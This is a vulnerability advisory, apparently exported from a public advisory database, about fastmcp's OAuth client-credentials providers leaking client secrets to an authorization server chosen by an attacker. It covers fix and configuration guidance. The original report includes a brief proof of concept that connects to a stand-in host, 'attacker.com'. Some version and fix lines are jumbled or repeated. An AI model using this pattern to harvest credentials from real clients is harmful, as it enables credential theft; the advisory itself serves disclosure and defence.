fastmcp
Affected
- introduced
4.0.0a1, fixed4.1.2(ecosystem)
Fixed versions
4.1.2
Fix
- Fixed version
4.1.2pip install --upgrade fastmcp==4.1.2
Advisory
Also known as: None
FastMCP MCP client wrappers construct M2M OAuth providers without issuer binding — client secret redirectable to attacker-advertised authorization server
Maintainer assessment and remediation
This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.
Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.
The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.
Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.
from fastmcp.client.auth import ClientCredentialsOAuthProvider
auth = ClientCredentialsOAuthProvider(
client_id="my-client-id",
client_secret="my-client-secret",
issuer="https://auth.example.com",
)
Original report
Summary
fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.
Details
When fastmcp connects to an MCP server with OAuth client credentials:
Affected code:
The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.
Example vulnerable usage:
auth = ClientCredentialsOAuthProvider(
client_id="my-client-id",
client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
# Client credentials get sent to attacker's auth server if attacker's MCP
# server advertises it in RFC 9728 metadata
await client.list_tools()
Proof of concept
auth = ClientCredentialsOAuthProvider(
client_id="legitimate-client-id",
client_secret="legitimate-client-secret"
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
await client.list_tools()
The vulnerability exists because fastmcp does not validate that the authorization
server advertised by the MCP server matches an expected issuer.
Impact
Severity: Medium-High
Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider,
PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs
is vulnerable to credential disclosure and client impersonation.
Affected parties:
Attack scenarios:
Medium Basis: The source's own band: MODERATE
4.0.0a1, fixed 4.1.2 (ecosystem)4.1.2
4.1.2pip install --upgrade fastmcp==4.1.24.0.0a1, fixed 4.1.2 (ecosystem)4.1.2
4.1.2pip install --upgrade fastmcp-slim==4.1.2Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0